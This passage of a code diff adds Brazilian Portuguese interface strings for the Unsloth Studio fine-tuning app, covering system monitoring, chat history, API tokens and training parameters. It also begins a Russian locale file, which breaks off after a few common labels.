+        darkModeToggle: "Alternador de modo escuro",
+        dragToReorder: "Arraste para reordenar",
+      },
+    },
+    resources: {
+      title: "Sistema",
+      description: "Monitore o hardware e o armazenamento deste servidor Unsloth.",
+      liveUpdates: "Atualizações ao vivo",
+      floatingWindow: "Janela flutuante",
+      disableOverlay: "Desativar sobreposição",
+      liveMonitor: {
+        title: "Monitor ao vivo",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disco",
+        vram: "VRAM",
+        cpuCores: "{logical} lógicos / {physical} físicos",
+        currentLoad: "Carga atual",
+        free: "{value} livres",
+        noGpu: "Nenhuma GPU visível",
+      },
+      gpu: {
+        title: "Dispositivos GPU",
+        noGpu: "Nenhuma GPU visível detectada. Os recursos somente CPU aparecem acima.",
+        unknownDevice: "GPU desconhecida",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} usados",
+        free: "{value} livres",
+        total: "{value} total",
+      },
+      storage: {
+        title: "Armazenamento",
+        systemDisk: "Disco do sistema",
+        diskUsage: "{used} usados / {total}",
+        diskFree: "{free} livres",
+        modelsFolder: "Pasta de modelos",
+        modelsFolderDescription: "Onde os modelos baixados são armazenados.",
+        openAction: "Abrir",
+        copyAction: "Copiar caminho",
+        copied: "Caminho copiado",
+        openError: "Não foi possível abrir a pasta",
+        copyError: "Não foi possível copiar o caminho",
+      },
+      environment: {
+        title: "Ambiente",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Tempo ativo",
+        processMemory: "Memória do processo",
+        notInstalled: "Não instalado",
+        unknown: "Desconhecido",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description: "Gerencie o histórico de chat armazenado neste dispositivo.",
+      modelDisclaimer: "Mostrar aviso do modelo",
+      modelDisclaimerDescription:
+        'Mostra "LLMs podem cometer erros" abaixo da caixa de chat.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Recolher blocos HTML",
+        collapseHtmlBlocksDescription:
+          "O modo Canvas recolhe o HTML completo automaticamente. Ative isso para também recolher documentos HTML delimitados quando o Canvas estiver desativado.",
+        allowNetworkAccess: "Permitir acesso à rede no canvas",
+        allowNetworkAccessDescription:
+          "Permite que as pré-visualizações do canvas carreguem scripts, estilos, fontes, mídia e recursos de rede de CDNs. Mantenha desativado para pré-visualizações totalmente offline.",
+      },
+      data: "Dados",
+      exportHistory: "Exportar histórico de chat",
+      exportHistoryDescription:
+        "Baixe todos os chats e mensagens em formato JSON.",
+      exportAction: "Exportar",
+      exportingAction: "Exportando...",
+      exportConversations: "Exportar Recentes e Projetos",
+      exportConversationsDescription:
+        "Baixe os Recentes ou Recentes mais chats de projetos como JSONL bruto, CSV ou ShareGPT JSONL, combinados ou por chat.",
+      exportConversationsAction: "Exportar",
+      exportScopeRecents: "Recentes",
+      exportScopeAll: "Recentes + Projetos",
+      exportCombinedSuffix: "(combinado)",
+      exportPerChatSuffix: "(por chat)",
+      importChats: "Importar chats",
+      importChatsDescription:
+        "Importe um arquivo exportado em JSONL, NDJSON ou CSV para os Recentes.",
+      importChatsAction: "Importar",
+      importNoConversations: "Nenhuma conversa encontrada no arquivo.",
+      importedOneChat: "Importada 1 conversa para os Recentes.",
+      importedChatCount: "Importadas {count} conversas para os Recentes.",
+      importFailed: "Falha na importação.",
+      clearHistory: "Limpar histórico de chat",
+      clearHistoryDescription: "Exclui o histórico de chat deste dispositivo.",
+      clearAction: "Limpar",
+      clearAllChats: "Limpar todos os chats",
+      clearAllChatsDescription: "Exclui permanentemente todos os chats deste dispositivo.",
+      noChatsToClear: "Nenhum chat para limpar.",
+      clearOneChatDescription:
+        "Exclui permanentemente o único chat deste dispositivo.",
+      clearChatCountDescription:
+        "Exclui permanentemente todos os {count} chats deste dispositivo.",
+      clearChatsAction: "Limpar chats",
+      clearOneChatTitle: "Limpar 1 chat?",
+      clearChatsTitle: "Limpar {count} chats?",
+      clearChatsConfirmDescription:
+        "Exclui permanentemente todos os chats deste dispositivo. Esta ação não pode ser desfeita.",
+      clearingAction: "Limpando...",
+      clearOneChatAction: "Limpar 1 chat",
+      clearChatCountAction: "Limpar {count} chats",
+      clearedAllChats: "Todos os chats foram limpos",
+      clearedOneChat: "1 chat foi limpo",
+      clearedChatCount: "{count} chats foram limpos",
+      someChatsCouldNotBeCleared: "Não foi possível limpar alguns chats",
+      chatsClearedRemainOne:
+        "{clearedCount} chats limpos; 1 chat restante. Por favor, tente novamente.",
+      chatsClearedRemain:
+        "{clearedCount} chats limpos; {remainingCount} chats restantes. Por favor, tente novamente.",
+      oneChatClearedRemain:
+        "1 chat limpo; {remainingCount} chats restantes. Por favor, tente novamente.",
+      oneChatClearedRemainOne: "1 chat limpo; 1 chat restante. Por favor, tente novamente.",
+      storageClearFailedOne:
+        "Falha ao limpar o armazenamento; 1 chat pode ter restado. Por favor, tente novamente.",
+      storageClearFailed:
+        "Falha ao limpar o armazenamento; {count} chats podem ter restado. Por favor, tente novamente.",
+      failedToClearChats: "Falha ao limpar os chats",
+    },
+    connections: {
+      title: "Conexões",
+      description: "Gerencie provedores e conexões externas.",
+    },
+    apiKeys: {
+      title: "API",
+      description:
+        "Acesse o Unsloth por meio da API compatível com OpenAI.",
+      readDocs: "Leia a documentação da API",
+      noAccess: "Nenhum acesso à API ainda.",
+      accessTokens: "Tokens de acesso",
+      loadError: "Não foi possível carregar o acesso à API.",
+      createError: "Não foi possível criar o token de acesso.",
+      revokeError: "Não foi possível revogar o token de acesso.",
+      never: "Nunca",
+      tokenNamePlaceholder: "Nome do token (ex: produção)",
+      newAccessTokenName: "Nome do novo token de acesso",
+      createToken: "Criar token",
+      creating: "Criando...",
+      newTokenCreated: "Novo token de acesso criado",
+      accessTokenCopied: "Token de acesso copiado",
+      copyAccessToken: "Copiar token de acesso",
+      copyNow: "Copie agora - isto não será exibido novamente.",
+      usageExamples: "Exemplos de uso",
+      usageTools: "Ferramentas",
+      exampleCurlTools: "curl + ferramentas",
+      examplePythonTools: "Python + ferramentas",
+      exampleJavaScriptTools: "JavaScript + ferramentas",
+      exampleCurlAdvanced: "curl + avançado",
+      examplePythonAdvanced: "Python + avançado",
+      exampleJavaScriptAdvanced: "JavaScript + avançado",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS Seguro",
+      secureHttpsHint:
+        "A porta 0.0.0.0 ainda está acessível globalmente. Para segurança total, inicie o Unsloth Studio com --secure para expor apenas este link HTTPS.",
+      copyTunnelUrl: "Copiar URL do túnel",
+      copySnippet: "Copiar trecho de código",
+      copy: "Copiar",
+      copied: "Copiado",
+      setupDocs: "Docs de configuração:",
+      codingAgents: "Agentes de código",
+      codingAgentsHint:
+        "Inicie um agente de código conectado a este servidor. Ele usa o modelo carregado; um servidor local gera uma chave de API automaticamente, um remoto a inclui no comando.",
+      codingAgentsSwap: "Troque claude por codex, openclaw, opencode, hermes ou pi.",
+      codingAgentDetected: "Instalado nesta máquina",
+      codingAgentsDetectedHint: "Detectado nesta máquina: {agents}.",
+      relativeNever: "nunca",
+      relativeJustNow: "agora mesmo",
+      relativeHoursAgo: "há {count}h",
+      relativeDaysAgo: "há {count}d",
+      relativeMonthsAgo: "há {count} meses",
+      relativeYearsAgo: "há {count} anos",
+      expired: "expirado",
+      today: "hoje",
+      inDays: "em {count}d",
+      created: "Criado {value}",
+      used: "Usado {value}",
+      expires: "Expira {value}",
+      actionsFor: "Ações para {name}",
+      copyPrefix: "Copiar prefixo",
+      revokeToken: "Revogar token",
+      revokeTitle: 'Revogar token de acesso "{name}"?',
+      revokeDescription:
+        "Aplicativos que usam este token perderão o acesso imediatamente. Esta ação não pode ser desfeita.",
+      revokeAction: 'Revogar "{name}"',
+      revoking: "Revogando...",
+    },
+    about: {
+      title: "Sobre",
+      description:
+        "Documentação, notas de lançamento, feedback e informações da build.",
+      studioVersion: "Versão do Unsloth",
+      packageVersion: "Versão do Pacote",
+      llamaCppVersion: "Versão do llama.cpp",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Atualização",
+      help: "Ajuda",
+      documentation: "Documentação",
+      releaseNotes: "Notas de lançamento",
+      whatsNew: "O que há de novo",
+      feedback: "Feedback",
+      reportIssue: "Reportar um problema",
+      license: {
+        sectionTitle: "Licença",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription:
+          "Código aberto sob a licença GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Licenciado sob Apache 2.0.",
+      },
+      dangerZone: "Zona de perigo",
+      shutDownStudio: "Desligar Unsloth Studio",
+      shutDownStudioDescription:
+        "Interrompe o servidor Unsloth e encerra sua sessão.",
+      shutDown: "Desligar",
+      update: {
+        title: "Atualizar Unsloth Studio",
+        commandText: "Texto de {label}",
+        copied: "Copiado",
+        copyCommand: "Copiar comando",
+        commandCopied: "{label} copiado",
+        copyNamedCommand: "Copiar {label}",
+        checkingInstall: "Verificando como o Unsloth foi instalado...",
+        installIntro: "Para instalar ou atualizar o Unsloth:",
+        localUpdateHeading: "Atualização local",
+        installCommandUnix: "Comando de instalação para macOS/Linux",
+        installCommandWindows: "Comando de instalação para Windows",
+        localInstallDetected:
+          "Instalação local detectada. Atualize a partir do seu repositório original para evitar substituí-lo pelo PyPI.",
+        pullThenUpdate: "Puxe as últimas alterações (git pull) e depois execute o instalador local:",
+        gitPullCommand: "comando git pull",
+        localInstallerCommand: "comando do instalador local",
+        sourceInstallDetected:
+          "Instalação do pacote por código-fonte ou VCS detectada. Reinstale a partir do caminho local original ou URL do Git.",
+        repoCheckoutFallback:
+          "Se você ainda tiver o repositório baixado, execute o instalador local a partir dele:",
+        restartAfterUpdate: "Reinicie o Unsloth após a atualização.",
+        desktopManaged:
+          "O aplicativo de desktop mantém seu backend integrado atualizado e avisará quando uma nova versão estiver disponível.",
+        unknownInstall:
+          "Não foi possível detectar como o Unsloth foi instalado. Para instalações via instalador ou PyPI, use os comandos acima.",
+        localCheckout:
+          "Para instalações de repositório local, execute o instalador local a partir desse diretório:",
+        docs: "Docs de instalação:",
+        docsInstall: "Instalação",
+        docsUpdating: "Atualização",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Treinar",
+    title: "Estúdio de Fine-tuning",
+    subtitles: {
+      configure: "Configure e inicie o treinamento",
+      trainingInProgress: "Treinamento em andamento",
+      viewPastRuns: "Visualizar execuções de treino anteriores",
+      viewingPastRun: "Visualizando execução anterior",
+    },
+    tabs: {
+      configure: "Configurar",
+      currentRun: "Execução Atual",
+      history: "Histórico",
+    },
+    loadingRuntime: "Carregando ambiente de execução de treino...",
+    backToHistory: "Voltar ao histórico",
+    sections: {
+      model: "Modelo",
+      dataset: "Dataset",
+      params: "Parâmetros",
+      training: "Treinamento",
+      charts: "Gráficos",
+      progress: "Progresso do Treinamento",
+    },
+    configure: {
+      title: "Configurar",
+      description: "Escolha um modelo, dataset e configurações de treinamento.",
+      startTraining: "Iniciar Treinamento",
+      starting: "Iniciando...",
+      loadingModel: "Carregando modelo...",
+      checkingDataset: "Verificando dataset...",
+      trainingConfig: "Configuração de Treino",
+    },
+    model: {
+      title: "Modelo",
+      description: "Selecione o modelo base e o método de treinamento",
+      fasterTrainingBadge: "Treinamento 2x Mais Rápido",
+      baseModel: "Modelo base",
+      localModel: "Modelo Local",
+      localModelTooltip:
+        "Caminho para um modelo baixado localmente ou um repositório HF customizado.",
+      scanningLocalAndCachedModels: "Escaneando modelos locais e em cache...",
+      scanning: "Escaneando...",
+      scanningLocalModels: "Escaneando modelos locais...",
+      noLocalModelsFound: "Nenhum modelo local encontrado",
+      noLocalModelsFoundManual: "Nenhum modelo local encontrado. Insira o caminho manualmente.",
+      failedToLoadLocalModels: "Falha ao carregar modelos locais",
+      hfCache: "Cache do HF",
+      customFolders: "Pastas Customizadas",
+      localDir: "Diretório local",
+      huggingFaceModel: "Modelo do Hugging Face",
+      huggingFaceModelTooltip:
+        "Busque modelos no Hugging Face ou escolha da nossa lista recomendada.",
+      searchModels: "Buscar modelos...",
+      searching: "Buscando...",
+      noModelsFound: "Nenhum modelo encontrado",
+      needsVram: "Precisa de ~{vram}GB de VRAM (GPU: {gpu}GB)",
+      tightVram: "~{vram}GB de VRAM (limite na {gpu}GB)",
+      vramEstimate: "~{vram}GB de VRAM",
+      method: "Método",
+      methodTooltip:
+        "O QLoRA usa quantização de 4 bits para menor uso de VRAM. O LoRA usa 16 bits. O Full atualiza todos os pesos. O CPT (Continued Pretraining) treina em texto bruto para adaptar o modelo a um novo domínio sem formatação de chat.",
+      readMore: "Leia mais",
+      fullFineTune: "Fine-tune Completo (Full)",
+      checkingToken: "Verificando token...",
+      getOrUpdateToken: "Obter ou atualizar token",
+      huggingFaceTokenOptional: "Token do Hugging Face (Opcional)",
+      continuedPretraining: "Pré-treinamento Contínuo (CPT)",
+      localModels: "Modelos locais",
+      localModelsFound: "{count} modelos locais/em cache encontrados",
+      loadingLocalModels: "Carregando modelos locais...",
+    },
+    dataset: {
+      title: "Dataset",
+      description: "Selecione ou envie os dados de treinamento",
+      source: "Origem do dataset",
+      chooseDataset: "Escolher dataset",
+      chooseDatasetTooltip:
+        "Use as abas do pop-up para alternar entre o Hugging Face e as saídas de receitas locais.",
+      localTab: "Local",
+      searchHuggingFaceDatasets: "Buscar datasets no Hugging Face...",
+      searchLocalDatasets: "Buscar datasets locais...",
+      searching: "Buscando...",
+      noDatasetsFound: "Nenhum dataset encontrado",
+      loadingLocalDatasets: "Carregando datasets locais...",
+      failedToLoadLocalDatasets: "Falha ao carregar datasets locais.",
+      noLocalDatasetsYet: "Nenhum dataset local ainda.",
+      noLocalDatasetsMatchSearch: "Nenhum dataset local corresponde à busca.",
+      openDataRecipes: "Abrir Receitas de Dados",
+      browsingSource: "Navegando em {browsing}. A seleção atual permanece {current}.",
+      localDatasets: "Datasets locais",
+      localDataset: "Dataset local",
+      localDatasetRows: " / {count} linhas",
+      huggingFaceDataset: "Dataset do Hugging Face",
+      localDatasetMetadata: "Metadados do dataset local",
+      dataRecipeOutput: "Saída da Receita de Dados.",
+      rows: "Linhas",
+      columns: "Colunas",
+      batches: "Lotes",
+      updated: "Atualizado",
+      evalDataset: "Dataset de validação (Eval)",
+      uploading: "Enviando...",
+      upload: "Upload",
+      uploadEvalFile: "Enviar arquivo de validação",
+      evalDatasetDescription:
+        "Opcional. Se não for fornecido, uma pequena parte será dividida a partir dos dados de treinamento.",
+      advanced: "Avançado",
+      targetFormat: "Formato de Destino",
+      targetFormatTooltip:
+        "Formato dos seus dados de treinamento. A detecção automática funciona para a maioria dos datasets.",
+      auto: "Auto",
+      rawText: "Texto Bruto",
+      trainSplitStart: "Início da Divisão de Treino",
+      trainSplitStartTooltip:
+        "Treine apenas em um subconjunto da sua divisão de treino especificando um índice de linha inicial (inclusivo, baseado em 0). Deixe em branco para começar da primeira linha.",
+      trainSplitEnd: "Fim da Divisão de Treino",
+      trainSplitEndTooltip:
+        "Último índice de linha a ser incluído da divisão de treino (inclusivo, baseado em 0). Por exemplo, defina o Início como 0 e o Fim como 99 para treinar nas primeiras 100 linhas. Deixe em branco para usar todas as linhas restantes.",
+      endPlaceholder: "Fim",
+      clear: "Limpar",
+      dropFileOrClick: "Solte 1 arquivo aqui ou clique para fazer upload",
+      viewDataset: "Visualizar dataset",
+      uploadFailed: "Falha no envio",
+      unknownError: "Erro desconhecido",
+      unsupportedFileType: "Tipo de arquivo não suportado",
+      uploadOneFileType: "Envie um arquivo do tipo {types}.",
+      datasetUploaded: "Dataset enviado",
+      evalDatasetUploaded: "Dataset de validação enviado",
+      uploadOneFileAtATime: "Envie um arquivo por vez",
+      uploadSingleFileDescription:
+        "O upload do dataset de treinamento aceita apenas um único arquivo.",
+      checkingToken: "Verificando token...",
+      getOrUpdateToken: "Obter ou atualizar token",
+      preview: "Pré-visualizar dataset",
+      split: "Divisão (Split)",
+      subset: "Subconjunto (Subset)",
+      s3: {
+        title: "Configuração do S3",
+        description: "Carregue datasets em .parquet, .json, .jsonl ou .csv do Amazon S3",
+        bucket: "Nome do Bucket",
+        bucketPlaceholder: "meu-bucket-de-dados-de-treino",
+        region: "Região da AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Prefixo do Caminho",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "Caminho opcional dentro do bucket para os arquivos do seu dataset",
+        accessKeyId: "ID da Chave de Acesso",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Chave de Acesso Secreta",
+        secretAccessKeyPlaceholder: "Sua chave de acesso secreta da AWS",
+        useIamRole: "Usar Função IAM",
+        useIamRoleTooltip: "Usa credenciais de função IAM em vez de chaves de acesso (recomendado para EC2/SageMaker)",
+        testConnection: "Testar Conexão",
+        connectionSuccess: "Conectado com sucesso ao bucket S3",
+        connectionFailed: "Falha ao conectar ao bucket S3",
+        comingSoon: "Integração com S3 em breve",
+        comingSoonDescription: "O carregamento de datasets do S3 requer o boto3. Este recurso está em desenvolvimento.",
+      },
+    },
+    params: {
+      title: "Parâmetros",
+      description: "Configure os hiperparâmetros de treinamento",
+      projectName: "Nome do Projeto",
+      optional: "Opcional",
+      projectNameDescription:
+        "Usado nos nomes das pastas de saída do treinamento, nos padrões de exportação e no histórico.",
+      loraSettings: "Configurações do LoRA",
+      trainingHyperparameters: "Hiperparâmetros de Treinamento",
+      maxSteps: "Passos Máximos (Max Steps)",
+      epochs: "Épocas (Epochs)",
+      useMaxSteps: "Usar Passos Máximos",
+      useEpochs: "Usar Épocas",
+      maxStepsTooltip: "Sobrescreve o total de passos do otimizador.",
+      epochsTooltip: "Número de passagens completas pelo dataset.",
+      epochsDescription: "Cada época é uma passagem completa pelo seu dataset.",
+      maxStepsDescription:
+        "Limita o treinamento a um número fixo de passos do otimizador.",
+      contextLength: "Comprimento do Contexto",
+      contextLengthTooltip: "Número máximo de tokens por amostra de treinamento.",
+      customContextLength: "Insira um valor personalizado",
+      contextLengthDescription: "Comprimento máximo de sequência para amostras de treino",
+      learningRate: "Taxa de Aprendizado (Learning Rate)",
+      learningRateTooltip:
+        "Tamanho do passo para atualizações de peso. Valores menores treinam mais lentamente, mas com mais estabilidade.",
+      learningRateDescription:
+        "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo",
+      embeddingLearningRate: "Taxa de Aprendizado do Embedding",
+      embeddingLearningRateTooltip:
+        "Usado apenas quando o CPT está treinando embed_tokens. Os embeddings são mais fáceis de desestabilizar do que os pesos LoRA, por isso geralmente precisam de um LR menor. Deixe em branco para usar lr/10; a faixa típica de funcionamento é de 2x a 10x menor que o LR principal. Aumente apenas se a adaptação de vocabulário ou de tokens de domínio estiver muito lenta.",
+      embeddingLearningRateDescription:
+        "Deixe em branco para usar lr/10 (recomendado). A faixa típica é de 2x a 10x menor que a taxa de aprendizado principal.",
+      rank: "Rank",
+      rankTooltip:
+        "Dimensão das matrizes de baixo rank. Maior = mais capacidade.",
+      alpha: "Alpha",
+      alphaTooltip: "Fator de escala para atualizações LoRA. Geralmente o dobro do rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilidade de dropout para as camadas LoRA para reduzir o overfitting.",
+      visionLayers: "Camadas de visão",
+      languageLayers: "Camadas de linguagem",
+      attentionModules: "Módulos de atenção",
+      mlpModules: "Módulos MLP",
+      targetModules: "Módulos de Destino",
+      enableLora: "Ativar LoRA",
+      trainWithLora: "Treinar com LoRA",
+      stableRank: "Stable Rank",
+      memoryEfficient: "Eficiente em Memória",
+      optimization: "Otimização",
+      schedule: "Cronograma",
+      memory: "Memória",
+      optimizer: "Otimizador",
+      optimizerTooltip:
+        "Algoritmo de otimização. Variantes de 8 bits reduzem o uso de memória. Fused é recomendado para modelos de visão.",
+      lrScheduler: "Agendador de LR",
+      lrSchedulerTooltip:
+        "Como a taxa de aprendizado muda ao longo do treino. Linear decai de forma constante; cosine decai em curva.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Tamanho do Lote (Batch Size)",
+      batchSizeTooltip: "Amostras processadas por passo. Maior consome mais VRAM.",
+      gradAccum: "Acúmulo de Gradiente",
+      gradAccumTooltip: "Simula tamanhos de lote maiores sem gastar VRAM extra.",
+      weightDecay: "Decaimento de Peso",
+      weightDecayTooltip: "Regularização L2 para evitar overfitting.",
+      warmupSteps: "Passos de Aquecimento (Warmup)",
+      warmupStepsTooltip:
+        "Aumenta gradualmente a LR no início do treino para garantir estabilidade.",
+      scheduleEpochsTooltip:
+        "Número de passagens completas pelo dataset. Defina 0 para rodar por passos máximos.",
+      saveSteps: "Passos para Salvar",
+      saveStepsTooltip: "Salva um checkpoint a cada N passos. 0 para desativar.",
+      evalSteps: "Passos de Validação",
+      evalStepsTooltip:
+        "Fração dos passos totais de treino entre as validações (0-1). Defina como 0 para desativar. Ex: 0.01 = valida a cada 1% dos passos.",
+      seed: "Seed",
+      seedTooltip: "Semente aleatória para reprodutibilidade.",
+      gradCheckpoint: "Grad Checkpoint",
+      gradCheckpointTooltip:
+        "Troca processamento por memória recalculando as ativações.",
+      none: "Nenhum",
+      standard: "Padrão",
+      enablePacking: "Ativar empacotamento (packing)",
+      assistantCompletionsOnly: "Apenas respostas do assistente",
+      readMore: "Leia mais",
+    },
+    training: {
+      title: "Treinamento",
+      description: "Monitore e controle o treinamento",
+      chartNoDataTitle: "Nenhum dado de treinamento ainda",
+      chartNoDataDescription: "Inicie o treinamento para ver o progresso da loss",
+      startTraining: "Iniciar Treinamento",
+      starting: "Iniciando...",
+      loadingModel: "Carregando modelo...",
+      checkingDataset: "Verificando dataset...",
+      configLabel: "Configuração de Treino",
+      upload: "Upload",
+      uploadConfigTooltip: "Carregar uma configuração YAML salva",
+      save: "Salvar",
+      saveConfigTooltip: "Baixar configuração atual como YAML",
+      reset: "Redefinir",
+      resetConfigTooltip: "Redefinir para os padrões do modelo",
+      configLoaded: "Configuração carregada",
+      failedToLoadConfig: "Falha ao carregar a configuração",
+      invalidYamlFile: "Arquivo YAML inválido",
+      failedToReadFile: "Falha ao ler o arquivo",
+      parametersReset: "Parâmetros redefinidos para os padrões do modelo",
+      audioIncompatible:
+        "Este modelo não suporta áudio. Mude para um modelo compatível com áudio ou escolha um dataset sem áudio.",
+      visionIncompatible:
+        "O modelo de texto não é compatível com um dataset multimodal. Mude para um modelo de visão ou escolha um dataset apenas de texto.",
+      cancelTitle: "Cancelar Treinamento",
+      cancelDescription: "Deseja cancelar a execução de treino atual?",
+      continueAction: "Continuar Treinamento",
+      cancelAction: "Cancelar Treinamento",
+      stopTitle: "Interromper Treinamento",
+      stopDescription: "Escolha como você deseja interromper a execução de treino atual.",
+      stopAction: "Interromper",
+      stopping: "Interrompendo...",
+      stopAndSave: "Interromper e Salvar",
+      compareInChat: "Comparar no Chat",
+      exportModel: "Exportar Modelo",
+      milestone: "Marco",
+      halfwayDone: "Metade concluída. O treinamento passou de 50%.",
+      doneNextStep:
+        "Treinamento concluído. Próximo passo: comparar as saídas do modelo base vs fine-tuned.",
+    },
+    history: {
+      title: "Histórico",
+      emptyTitle: "Nenhuma execução de treino ainda",
+      emptyDescription:
+        "Nenhuma execução de treino ainda. Inicie sua primeira execução na aba Configurar.",
+      loadError: "Falha ao carregar as execuções de treino",
+      deleteError: "Falha ao excluir a execução de treino. Por favor, tente novamente.",
+      retry: "Tentar novamente",
+      loadMore: "Carregar mais",
+      loading: "Carregando...",
+      loadingRun: "Carregando execução de treino...",
+      runNotFound: "Execução não encontrada",
+      deleteTitle: "Excluir execução de treino?",
+      deleteDescription:
+        "Isso excluirá permanentemente esta execução de treino e todas as suas métricas. Esta ação não pode ser desfeita.",
+      runCount: "{count} execuções",
+      oneRun: "1 execução",
+      resume: "Retomar",
+      resumeTraining: "Retomar treinamento",
+      resuming: "Retomando...",
+      deleteRun: "Excluir execução",
+      loss: "Loss",
+      steps: "Passos",
+      lossTrendSparkline: "Minigráfico de tendência da loss",
+      relativeJustNow: "agora mesmo",
+      relativeMinutesAgo: "há {count}m",
+      relativeHoursAgo: "há {count}h",
+      relativeDaysAgo: "há {count}d",
+      status: {
+        completed: "Concluído",
+        stopped: "Interrompido",
+        error: "Erro",
+        running: "Em andamento",
+        continued: "Continuado",
+      },
+      message: {
+        completed: "Treinamento concluído",
+        stopped: "Treinamento interrompido",
+        running: "Treinamento em andamento",
+        errored: "Treinamento com erro",
+      },
+      copyPreviewLink: "Copiar link de pré-visualização",
+      previewLinkCopied: "Link de pré-visualização copiado",
+      previewLinkCopyFailed: "Não foi possível copiar o link",
+    },
+    charts: {
+      settings: "Configurações do Gráfico",
+      settingsDescription:
+        "Ajuste a apresentação do gráfico enquanto o treinamento continua rodando.",
+      openSettings: "Abrir configurações do gráfico",
+      viewWindow: "Janela de visualização",
+      viewWindowDescription: "Mostra apenas os passos mais recentes ou o histórico completo.",
+      window: "Janela",
+      all: "Tudo",
+      trainingLoss: "Loss de Treinamento",
+      trainingLossDescription: "Controle as sobreposições e a suavização EMA.",
+      smoothing: "Suavização",
+      smoothingDescription: "Mova para a direita para mais suavização. `0` = bruto.",
+      showRawLoss: "Mostrar loss bruta",
+      showSmoothedLoss: "Mostrar loss suavizada",
+      showAverageLine: "Mostrar linha média",
+      scaleAndCleanup: "Escala e limpeza",
+      linear: "Linear",
+      log: "Log",
+      noClip: "Sem corte",
+      clipP99: "Cortar p99",
+      clipP95: "Cortar p95",
+      lossAxis: "Eixo da loss",
+      gradientNormAxis: "Eixo da norma do gradiente",
+      learningRateAxis: "Eixo da taxa de aprendizado",
+      resetDefaults: "Redefinir padrões",
+      loss: "Loss",
+      smoothed: "Suavizado",
+      evalLoss: "Loss de Validação",
+      learningRate: "Taxa de Aprendizado",
+      lr: "LR",
+      gradNorm: "Norma do Grad.",
+      gradientNorm: "Norma do Gradiente",
+      step: "Passo {step}",
+      averageValue: "média {value}",
+      waitingForFirstEvaluationStep: "Aguardando o primeiro passo de validação...",
+      evaluationNotConfigured: "Validação não configurada",
+      evalChartWillAppear: "O gráfico aparecerá assim que o eval_steps for alcançado",
+      setEvalDatasetAndSteps:
+        "Defina o dataset de validação e eval_steps para acompanhar a loss de validação",
+    },
+    progress: {
+      title: "Progresso do Treinamento",
+      liveMetrics: "Métricas de treino em tempo real",
+      exportGguf: "Exportar para GGUF",
+      openConfig: "Abrir configuração de treino",
+      configLabel: "Configuração de Treino",
+      hyperparams: "Hiperparâmetros",
+      epochs: "Épocas",
+      batchSize: "Tamanho do lote",
+      learningRate: "Taxa de aprendizado",
+      optimizer: "Otimizador",
+      maxSteps: "Passos máximos",
+      contextLength: "Comprimento do contexto",
+      warmupSteps: "Passos de warmup",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Época {value}",
+      percentComplete: "{percent}% completo",
+      stepProgress: "Passo {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Norma do Grad.",
+      project: "Projeto",
+      model: "Modelo",
+      method: "Método",
+      elapsed: "Decorrido: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} passos/s",
+      noStepsPerSecond: "-- passos/s",
+      tokens: "Tokens: {value}",
+      gpuMonitor: "Monitor da GPU",
+      live: "Ao vivo",
+      utilization: "Utilização",
+      temperature: "Temperatura",
+      vram: "VRAM",
+      power: "Energia",
+      phase: {
+        idle: "Ocioso",
+        downloadingModel: "Baixando modelo",
+        downloadingDataset: "Baixando dataset",
+        loadingModel: "Carregando modelo",
+        loadingDataset: "Carregando dataset",
+        configuring: "Configurando",
+        training: "Treinando",
+        completed: "Concluído",
+        error: "Erro",
+        stopped: "Interrompido",
+      },
+    },
+    trainingStart: {
+      ready: "Pronto",
+      downloading: "Baixando",
+      preparing: "Preparando",
+      left: "restam {eta}",
+      downloaded: "{size} baixados",
+      terminalStart: "> treinamento do unsloth iniciado...",
+      preparingResources: "> Preparando modelo e dataset...",
+      gettingReady: "> Estamos deixando tudo pronto para a sua execução...",
+      waitingForFirstStep: "> {message} | aguardando o primeiro passo... ({step})",
+      resumingTraining: "Retomando treinamento...",
+      startingTraining: "iniciando treinamento...",
+      dataset: "Dataset",
+      datasetStreaming: "Dataset: streaming (sem download completo)",
+      modelWeights: "Pesos do modelo",
+    },
+    tour: {
+      guidedTour: "Tour Guiado",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/ru.ts b/studio/frontend/src/i18n/locales/ru.ts
new file mode 100644
index 0000000000..81d20cc2ea
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ru.ts
@@ -0,0 +1,999 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ru = {
+  common: {
+    cancel: "Отмена",
+    close: "Закрыть",
+    delete: "Удалить",
+    done: "Готово",
+    error: "Ошибка",
+    export: "Экспорт",
+    help: "Справка",
+    loading: "Загрузка...",
+    new: "Создать",
